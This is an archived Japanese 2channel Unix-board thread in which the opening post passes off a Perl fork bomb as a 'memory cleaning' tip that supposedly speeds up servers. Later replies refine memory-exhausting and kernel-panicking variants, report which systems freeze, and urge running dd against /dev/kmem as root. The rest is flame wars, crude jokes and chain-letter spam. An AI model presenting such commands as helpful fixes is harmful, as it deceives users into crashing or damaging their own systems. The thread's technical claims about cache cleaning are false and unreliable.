トップページunix
659コメント171KB

簡単!メモリクリーニング

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0488名無しさん@お腹いっぱい。NGNG
単にforkするよりも大量にスレッド生成するプロセスをforkしまくって
猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う
0489名無しさん@お腹いっぱい。NGNG
>>487
氏ななかったよ。

% uname -r
2.6.0-test10
0490名無しさん@お腹いっぱい。NGNG
ち……………ちんこ!
0491名無しさん@お腹いっぱい。NGNG
まんこ!
0492名無しさん@お腹いっぱい。NGNG
なんじゃこりゃあああああああああああああああああああああ
かたまった!!!!!!!!!!!!!!!!!!!!!!!!
0493名無しさん@お腹いっぱい。NGNG
>>492が勃起したらしいです
0494名無しさん@お腹いっぱい。NGNG
つーことで
そろそろまとめろや
os ver user root
でいいから書きやがれ
0495名無しさん@お腹いっぱい。NGNG
プロセス無限増殖で落ちるのはWinとDOSくらいでしょ
0496名無しさん@お腹いっぱい。NGNG
RedHat9 kernel2.4.20 user落ちない root落ちる (userでも落とせなくはない)
0497名無しさん@お腹いっぱい。NGNG
Debian woody kernel 2.4.23 user 落ちない root 落ちない
Debian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない

番外
FreeBSD 4.8R user 落ちない root 落ちない
0498名無しさん@お腹いっぱい。NGNG
>プロセス無限増殖で落ちるのはWinとDOSくらいでしょ

DOS???
0499_NGNG
>>398
Appollo Domain の Aegisには ACLはいってましたが?
つーか、それだって最初じゃないよなぁ。

古れすすまんのぉ。
0500_NGNG
>>488
確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。

vmのいじめ方しらない香具師おおいな。
0501名無しさん@お腹いっぱい。NGNG
知ってる人キタ━ヾ(   )ノ゛ヾ( ゚д)ノ゛ヾ(゚д゚)ノ゛ヾ(д゚ )ノ゛ヾ(  )ノ゛━━!!

じゃあ、そのイジメかたとやらを書いてみてはいかが?
0502_NGNG
userland で簡単なのは実際にメモリを使えばいいわけだから
perl -e 'while(1){local($time)=time; fork;}'
かな? とりあえず使い切るまでメモリつかってくれるはず。

途中で新プロセスがメモリ使えなくなってkillされるけど、懲りずに
つづけてれば既存processやdaemon processで新規ページがとれずに
そっちがkillされはじめるよ。

limitでプロセス制限かかってるなら、消費するメモリサイズを大きめに
とること。逆にいうと、管理者はdatasizeとmaxprocを適切に管理する事。
0503_NGNG
また、古い(いまも残ってる)system だと datasizeはexecとmmap時にしか
参照しないんで、datasizeよりちょい少なめでmallocかけると実際にメモリ
(Swap込み)が足りなくても allocateは成功する。

で、古いvm(mach64 vmベースでいまも残ってるかも)だと page 使い切った
時点で panic するから、これやるとかたまるどころかkernel panicまで
もちこめるよ。

ためしてみそ。
0504名無しさん@お腹いっぱい。NGNG
ためしてみそといわれても、さすがに古いシステムさがすの大変なんだが
0505名無しさん@お腹いっぱい。NGNG
リナックスは落ちる糞OS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
0506名無しさん@お腹いっぱい。NGNG
ウィンドウズは何もしなくても落ちる糞OS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
0507名無しさん@お腹いっぱい。NGNG
メモリの掃除ぐらいしろ
0508名無しさん@お腹いっぱい。NGNG
ぼくの部屋も掃除が必要です。
0509名無しさん@お腹いっぱい。NGNG
害虫駆除業者が必要です。
0510名無しさん@お腹いっぱい。NGNG
リナックスはうんこ
そろそろ認めろよ
0511名無しさん@お腹いっぱい。NGNG
じゃ、なにが、もすすめだね?
0512名無しさん@お腹いっぱい。NGNG
Windows
0513名無しさん@お腹いっぱい。NGNG
>>512
せめてLinux以上の物を言ってくれ
0514名無しさん@お腹いっぱい。NGNG
ソラリスは?
0515名無しさん@お腹いっぱい。NGNG
LinuxがいつWindows以上になったんだ?
0516名無しさん@お腹いっぱい。NGNG
>>515
激しく同意。
0517名無しさん@お腹いっぱい。NGNG
>>515
そういう事は、MSがマトモなOS作ってから言いましょうね。
Windowsと比較するのは、他のOSにとって失礼に値しますよ。
Winマンセーなら窓板だけでやっててください。
0518名無しさん@お腹いっぱい。NGNG
いや、そもそもWindowsに安定性求めるなんて筋違いもいいところだよ
むしろWindowsにそんな求める連中は死んでくれ。
売れたもんが正義なんだよ。
0519名無しさん@お腹いっぱい。NGNG
ぶっちゃけ負荷耐性と安定性はWindowsは今のところ最低レベル。
他のOSが特別凄いんじゃなくて、Windowsが異常にダメ。
スケーラビリティも最悪、そもそもOSレベルで要求するスペックが高すぎてお話にならない。
どんなに資源増やしてもあっという間に食いつくしてしまう点も最悪

犬叩きしたいなら、せめてFreeBSDか商用Unixとの比較じゃないと無理。

それに何も負荷耐性だの安定性だので勝負しなくても、WindowsはGUI周りのパフォーマンスは今のところ一番高いし、UIはそこそこ扱い易いし
クライアント用OSとしてはデファクトスタンダードだし
とくに引け目を感じる事はないと思うけどね。
個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
高負荷になって落ちても、気にせず再起動すればいいんだし
不正終了してファイル壊れたって気にしないでフォーマットして再インスコしちゃえばいいんだしさ。
脆弱性の事だって、こんだけセキュリティについて騒がれてるのに
そんな事は一切気にせず穴だらけのままWindows updateしない人だっているんだから
Windowsユーザー内に限っては脆弱性なんて殆ど問題視されてないともいえる。
だから穴だらけでも全然OKなんだから気にする事はない。
ただ周りが迷惑するだけなんだから、MSを見習って細かい事は気にせず周りに迷惑かかっても知ったこっちゃねーよくらいの勢いのほうがいい。
0520名無しさん@お腹いっぱい。NGNG
>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
何よりM$が気にしていない罠
0521名無しさん@お腹いっぱい。NGNG
>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
>高負荷になって落ちても、気にせず再起動すればいいんだし
その感覚を最大限に刷り込まれた馬鹿どもが、サービス機材を安易に
リセットしたがるようになったのは最低に痛いよ。
原因探れないから予防策もとれねー。
0522名無しさん@お腹いっぱい。NGNG
>>521
そういうのはMSがいる限りどうしようもないと思ってあきらめれ
0523名無しさん@お腹いっぱい。NGNG
>>521
まあ、Windows 95,98のころに「Windows おかしくなったら 再起動」という習慣がついていた人は多いだろうからね。
実際、当時は24時間連続稼動するのはほとんど行われていなかったと思うし。

余談だけれどPCでUnixもどきOSを動かすのが普及したからか、
教育用UnixマシンをX端末から使っている学生が
「家のLinuxでログアウトするときはshutdown -h nowって打ってるんですけど、ここのは打っても変なメッセージが出てきてログアウトできないんですけど」
と言ったのには驚いた。
shutdownのコマンドの意味について小一時間ほどお説教したのは言うまでもないことだが。
0524名無しさん@お腹いっぱい。NGNG
>まあ、Windows 95,98のころに「Windows おかしくなったら 再起動」という習慣がついていた人は多いだろうからね。
つーか、今も昔もそれは常識。

おかしくなったら再起動
壊れたかなと思ったら再インスコ

一番手っ取り早くて、確実
誰も迷わないし、下手に苦労するよりも解決は早い
マメにバックアップとっておけばデータの復旧も楽。

ユーザーに手段を与えず、作業を単一化してしまうことで
無駄な問題の発生を抑えてる。
0525名無しさん@お腹いっぱい。NGNG
LINUXは落ちまくり!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
0526名無しさん@お腹いっぱい。NGNG
必死だな
0527名無しさん@お腹いっぱい。NGNG
Mac OSXも糞重くなったけど落ちませんね。
0528名無しさん@お腹いっぱい。NGNG
LINUXはゴミ!
0529名無しさん@お腹いっぱい。NGNG
お受験のお子さんのお守りにMac OS X、
片思いのお子さんのお守りにLinuxいかがですか。
今ならどちらもお求め安くなっていますよ。
0530名無しさん@お腹いっぱい。NGNG
32bit藁人形 = Windows
16bit藁人形 = DOS
0531名無しさん@お腹いっぱい。NGNG
>>1
自分のPCでは一日一回実行してる。
0532名無しさん@お腹いっぱい。NGNG
嘘つきぃ…
0533名無しさん@お腹いっぱい。NGNG
リナックスはょわぃ
0534名無しさん@お腹いっぱい。NGNG
Windowsは直ってないバグの数とセキュリティホール,そして一年間の再起動の回数で最強
どれも最多
0535名無しさん@お腹いっぱい。NGNG
「Windowsは」ってひとくくりにできるDQNなセンスに乾杯
0536名無しさん@お腹いっぱい。NGNG
「リナックスは」ってひとくくちにできるDQNなセンスに乾杯
0537名無しさん@お腹いっぱい。NGNG
ひとくくち ×
ひとくくり ◯
0538名無しさん@お腹いっぱい。NGNG
再起動の回数は最強だな。
0539名無しさん@お腹いっぱい。NGNG
2004年
Windowsに超高速再起動が実装されるであろう。
0540名無しさん@お腹いっぱい。NGNG
>>539
いや、一端メモリ内容をファイルに退避させたのち
全てのメモリを一時的に開放
そしてそのままの状態でkernelの再マッピングを行うようになるだろ。

オンデマンドリブート?
0541名無しさん@お腹いっぱい。NGNG
2004年宇宙の旅
0542名無しさん@お腹いっぱい。NGNG
あああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああ
0543名無しさん@お腹いっぱい。NGNG
メモリクリーニング屋はどこですか?
0544名無しさん@お腹いっぱい。NGNG
>>1
>>1
>>1
>>1
>>1
>>1
>>1
0545名無しさん@お腹いっぱい。NGNG
>>539
そうかもね。BIOS もなくなりそうだし。
0546名無しさん@お腹いっぱい。NGNG
超高速再起動なんていらんから
OSが原因で再起動しなきゃいけないようなケースが発生しないようにしてくれ
0547名無しさん@お腹いっぱい。NGNG
不可能
0548名無しさん@お腹いっぱい。NGNG
じゃあせめてWindowsUpdateで当てたパッチのせいで
新しいバグ埋め込まないでくれ
0549こんなジョークを思い出したNGNG
ランプの魔人は語りました。
「ご主人様、あなたを世界一の富豪にして差し上げましたし、苦労して嫁も見つけました。
三つ目の願いはなんですか?」
ゲイツはもう十分に幸福だったので、たまには国家の役に立とうと考えました。
「ベトナム戦争でアメリカが勝ったことにしたいんだけど」
魔人は困惑して言います。
「それは無理ではないかと」
「そうか、じゃあ1バージョンだけでいいから、完璧に動くWindowsが欲しいな」
魔人は泣きそうな顔で答えます。
「ご主人様、お願いですからベトナム戦争の方の願いに変えていただけませんか?」
0550名無しさん@お腹いっぱい。NGNG
ゲイツがやる気になっても完璧に動くWindowsはできないだろうけど
CTO(が誰かは知らん)あたりが、「金と人手と手間をいくらかけてもいいから完璧な物をつくれ、責任は全部 俺がとる」とか言いだしたら
ちゃんとした物は作れるだろ MSなら。
有能な人材はちゃんと確保してるはずだしな。

作ってる最中に、CEOとかCFOとかCMOあたりの目についたら
CTOの首ぶっとんだ挙句に、これまで以上に酷い物に化けそうな悪寒はするが。
0551名無しさん@お腹いっぱい。NGNG
まあ、MSさんも商売ですから
買う側もMSさんは商売をしている事を理解すべきでしょ

強制的に買わされてる現状がムカツク人はしかたないけど
0552名無しさん@お腹いっぱい。NGNG
しかたないのか…
0553名無しさん@お腹いっぱい。NGNG
メーカー製PC買っちゃう人は仕方ないんじゃね?
今は自作したって特別安くあがるわけじゃないし
0554名無しさん@お腹いっぱい。NGNG
2マソ
0555名無しさん@お腹いっぱい。NGNG
>>550
CTOだから飛ばされる可能性があるわけで、逆にゲイツが本気で
やろうと思えばできるんじゃない ?
完全じゃないけど、今よりはるかにまともなモノはできると思う。
0556名無しさん@お腹いっぱい。NGNG
>>555
バカ? ゲイツタソは今や会長
MSを一代にして叩きあげた英雄としてのシンボル的価値は十二分にあるが
権利は微妙、経営に口出したとしても「アドバイス」にしかならない。
強制力は全くないよ。

実質的なリーダーはCEOのキチガイバルマーだよ。
つまり彼がやると言わない限りゲイシがいくら必死にお願いしてもダメポ。

ゲイツが株主連中に働きかける→株主がMSに圧力をかける→バルマータソはやるしかない
っていう周りくどい方法じゃないと今のゲイツタソの力では動かせんだろな。
それに注力しなくてもWindowsは自動的に売れている現状で、わざわざコスト掛けてまで
本質的な改良を行なう価値を株主連中が理解できるかってのも微妙。
何でもいいからとにかく機能増やしながらバージョン上げていけばオッケーでしょう という結論に落ち着いちゃう可能性が濃厚。
#今もそうだし…

バルマーのいかれた脳味噌が突如変貌して、Windowsを世界最良のOSにしようとか本気で言いださない限り無理だろね。
0557名無しさん@お腹いっぱい。NGNG
結局ゲイツの力は偉大という事か。
0558名無しさん@お腹いっぱい。NGNG
>>556
いやあ、あいつはカリスマ性があるから(一代で超巨大企業を作り上げた天才だからね)、
みんなゲイツについていくよ

なんだかんだいって、Windowsはたたかれた点を修正してより良くなってるし

Linux使いは、そもそもLinuxに統合デスクトップやらGUI環境やら直感的で簡単な操作を求めないし、
統一的なAPIや開発環境も求めない
またボランティアに頼るという開発体制からWindowsの技術革新と進化のスピードに追いつけないでしょうね

Microsoftは、Linuxに対抗するために、WindowsをLinuxよりはるかに速い速度で進化させ、
Linuxの追随を許さない、先行逃げ切り型の勝負に出たと思うね
0559名無しさん@お腹いっぱい。NGNG
なんでゲイツマンセーって嘘吐きが多いんですか?
それとも危い薬とかやってるんですか?
0560名無しさん@お腹いっぱい。NGNG
>>558は、MSに対する皮肉か?
そんなありもしない事書いても皮肉にしか見えんぞ。

OS板かどっかで
「Windowsは世界最高の安定性と性能を誇り、信頼性抜群。メーカーサポートも充実云々」とかいう書き込みがあったが
それと同じくらい皮肉に満ちてる。

あんまりMSイジメるなよ。優良メーカとは言えないけど
あっちだって商売なんだから叩くなって。
0561名無しさん@お腹いっぱい。NGNG
>>558
主要なLinux開発者はIBMとかの社員として企業から金もらってやってるわけだが。
それでもボランティアといえるのかい?
0562名無しさん@お腹いっぱい。NGNG
>>561
IBMだけじゃなくて
OSDLも社員雇ってるし
Redhatも
SuSE(今はNovell)も
金出して開発しとるよ。
SGIもHPも自分のとこの社員をLinux開発に使ってるね。
FSFも一応金かけてやってるよ。

昔からそうだが、Linuxの開発にしてもGNUプロジェクトにしても
ネット上から不定期に協力してくれるボランティアと
FSFなりOSDLなりに常駐して仕事してくれる社員(or バイト or 契約社員)どっちも居る。
ちなみにOSDLは色んなとこから出資を得てるしグッズ販売等の資金源もあるから
金はそこそも持ってるので結構懐は暖い。

ドイツなんかは国をあげてKDEの開発に協力してるしなぁ。

各社が睨みあいながら独自に開発費かけてOSの開発競争するよりは
それぞれ適当な金額とある程度の人員をだしあって
基礎部分は共有しちゃいましょうや的な狙いが強いね。
そもそも基礎部分なんてユーザからしてみりゃなんでもいいんだし。
ちなみにMSも"口だけなら"、それに大賛成しとるよ。
各社がいがみあって似たりよったりな物を作りながら不毛な競争するよりは
共有できる部分は共有してより高次を目指しましょーユビキタスマンセーってね。
ただし言ってる事とやってる事が真逆すぎてワケ ワカ ラン♪
0563名無しさん@お腹いっぱい。NGNG
ゲイツマンセー
ゲイツマンセー
ゲイツマンセー
0564名無しさん@お腹いっぱい。NGNG
1日1回メモリクリーニング
0565名無しさん@お腹いっぱい。NGNG
ゲイツの防衛費は日本の防衛費より多いらしい。
0566名無しさん@お腹いっぱい。NGNG
>>1
氏ね
0567名無しさん@お腹いっぱい。NGNG
あれっ?skoも参加してなかったか?
0568名無しさん@お腹いっぱい。NGNG
sco?
0569名無しさん@お腹いっぱい。NGNG
>>1は神
0570名無しさん@お腹いっぱい。NGNG
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●不合格●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
これを見た人は確実に【不合格】です。これをコピペでどこかに3回貼れば回避できます。
これは本当です。やらないと一年無駄になります
0571名無しさん@お腹いっぱい。NGNG
1のコマンドを実行しましたが
画面が止まったままです
ディスクキャッシュが多くてクリーニングに時間かかってんのかな?
かれこれ30分待ってます
どれくらいレスポンスが良くなったのか楽しみです
早くクリーニング終わらないかな
0572名無しさん@お腹いっぱい。NGNG
わらた
0573名無しさん@お腹いっぱい。NGNG
>>571
グッジョブ
0574名無しさん@お腹いっぱい。NGNG
for i in `ps ax | grep perl | cut -f1 -d" " `
0575名無しさん@お腹いっぱい。NGNG
メモリーパッククリーニング
0576名無しさん@お腹いっぱい。NGNG
保守age
一日一回メモリークリーニング
0577名無しさん@お腹いっぱい。NGNG
dirlist="a b c d e f g h i j k l m n o p q r s t u v w x y z"
for i in $dirlist ; do
mkdir -p $i
cd $i
for j in $dirlist ; do
dd if=/dev/zero of=file_$j bs=1024k count=100
done
done
0578名無しさん@お腹いっぱい。NGNG
>>1
WindowsXP + cygwin + perl で試してみました。
Pen4 1.8GHz + Memory 1GB
物理メモリを食いつぶすまでは動作が緩慢になるだけ
スワップを開始すると完全に固まる
スワップ領域が1GB以上あったのでかたまりっぱなし
さらに途中でスワップ領域を増やすと宣告される
操作不能。マウスは一応動くが。。。Ctrl+Alt+Del不可
そのうちコンソール上に、エラーがぞろぞろ発生。
そして増やしたスワップ領域をも食いつくし
「アプリケーションの初期化に失敗しました。」でperlのプロセスが終了

その後、Ctrl+Alt+Delで予約してあったタスクマネージャー起動

結論:Ctrl+Alt+Del使えね〜
0579名無しさん@お腹いっぱい。NGNG
報告

赤帽ES3 Pen4/1G/SCSI40GB うpデート済

Xでマウスカーソル動かず
コンソール打てず
止められず、勝手に固まる
死亡

以上
0580名無しさん@お腹いっぱい。NGNG
ちょっとageますよ
0581名無しさん@お腹いっぱい。NGNG
あがってねー
0582名無しさん@お腹いっぱい。NGNG
Solaris10
固まった
駄目ぽ
0583名無しさん@お腹いっぱい。NGNG
毎日メモリクリーニング
0584名無しさん@お腹いっぱい。NGNG
age
0585名無しさん@お腹いっぱい。NGNG
だれか root で
# dd if=/dev/zero of=/dev/kmem bs=......
てなことを, やってみてほしい
0586 ◆ogaWFi0wUo NGNG
>>571
どんなかんじ?
0587名無しさん@お腹いっぱい。NGNG
いい感じ。
■ このスレッドは過去ログ倉庫に格納されています